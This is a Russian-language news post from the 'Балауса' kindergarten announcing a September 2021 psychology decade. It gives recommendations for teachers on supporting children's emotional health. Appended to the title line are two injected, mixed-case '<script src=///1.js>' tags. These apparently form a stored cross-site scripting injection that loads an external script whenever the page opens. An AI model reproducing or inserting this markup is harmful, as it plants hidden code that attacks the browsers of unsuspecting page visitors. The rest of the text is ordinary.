В я/с «Балауса» с 27.09.2021 г. начинается декада психологии.<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

27.09.2021

В я/с «Балауса» с 27.09.2021 г. начинается декада психологии на тему: «Психологическое здоровье – уверенное будущее». В рамках декады для  педагогов были разработаны некоторые рекомендации:

- Способствовать созданию в учреждении (группе) спокойной, жизнерадостной, творческой обстановки;

- Проявлять искренний интерес к личности каждого ребенка, его состоянию, настроению;

- Организовывать жизнедеятельность детей таким образом, чтобы у них накапливался положительный опыт добрых чувств;

- Собственным поведением демонстрировать уважительное отношение ко всем детям, взрослым;

- В подготовке и проведении обучающих занятий учитывать возрастные особенности и интересы детей;

- Создать условия для формирования у детей положительных взаимоотношений со сверстниками, привязанности и доверия к взрослым;

- Учить детей осознавать свои эмоциональные состояния, настроения и чувства окружающих людей.

- Формировать у детей умение устанавливать связь между поступками, событиями, настроением и самочувствием людей;

- При организации взаимодействия чаще пользоваться поощрением, поддержкой детей, чем порицанием и запрещением;

- Создать условия для эффективного доверительного сотрудничества с родителями воспитанников.

Как известно, личность взрослого, его профессиональная компетентность имеет огромное значение в воспитании детей. Воспитатель в процессе общения и деятельности постоянно влияет на своих подопечных, так как они почти целый день находятся в тесном контакте.   Доброжелательный настрой, положительное эмоциональное состояние наставника, умение управлять собой, доводить начатое дело до конца – вот основные качества, которые необходимы каждому педагогическому работнику дошкольных учреждений. Только педагог с высоким уровнем интеллектуального, духовного, личностного развития,  может достаточно профессионально найти подход к каждому ребенку и сформировать в нём те качества, которые создадут предпосылки для формирования гармоничной и успешной личности ребёнка, устойчивой к различным жизненным ситуациям.

 

 

 

 

 

Педагог-психолог                                          Т.Арзамасцева